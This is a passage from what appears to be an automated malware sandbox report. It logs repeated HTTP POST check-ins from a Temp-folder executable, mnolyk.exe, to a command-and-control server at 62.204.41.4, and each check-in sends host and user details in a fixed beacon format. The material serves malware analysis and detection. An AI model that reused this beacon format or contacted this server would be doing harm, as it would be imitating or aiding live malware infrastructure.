Feb 8, 2023 21:32:14.246090889 CET	407	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:14.312478065 CET	407	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
207	192.168.2.3	49909	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:14.933906078 CET	408	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:14.998792887 CET	408	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
208	192.168.2.3	49910	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:15.871067047 CET	409	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:15.938445091 CET	409	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
209	192.168.2.3	49911	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:16.121218920 CET	410	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:16.187607050 CET	410	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49722	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:17.801754951 CET	222	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:17.865456104 CET	222	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
210	192.168.2.3	49912	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:16.359167099 CET	411	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:16.422133923 CET	411	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
211	192.168.2.3	49913	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:16.595551968 CET	412	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:16.661514044 CET	412	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
212	192.168.2.3	49914	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:16.837699890 CET	413	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:16.904551029 CET	413	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
213	192.168.2.3	49915	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:17.076591015 CET	413	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:17.142472982 CET	414	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
214	192.168.2.3	49916	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:17.326422930 CET	414	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:17.389087915 CET	415	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
215	192.168.2.3	49917	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:17.561486006 CET	415	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:17.625283957 CET	416	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
216	192.168.2.3	49918	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:17.798707962 CET	416	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:17.864259005 CET	417	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
217	192.168.2.3	49919	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:18.035542965 CET	417	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:18.102407932 CET	418	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
218	192.168.2.3	49920	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:18.281071901 CET	418	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:18.344707966 CET	419	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
219	192.168.2.3	49921	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:18.515785933 CET	419	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:18.579456091 CET	420	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49724	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:22.157496929 CET	223	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:22.226195097 CET	223	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
220	192.168.2.3	49922	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:18.772895098 CET	420	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:18.836345911 CET	421	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
221	192.168.2.3	49923	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:19.023555994 CET	421	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:19.092922926 CET	422	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
222	192.168.2.3	49924	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:19.271281004 CET	422	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:19.336977959 CET	423	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
223	192.168.2.3	49925	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:19.523158073 CET	423	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:19.588732004 CET	424	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
224	192.168.2.3	49926	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:19.767739058 CET	424	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:19.833365917 CET	425	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
225	192.168.2.3	49927	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:20.024415016 CET	425	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:20.094804049 CET	426	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
226	192.168.2.3	49928	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
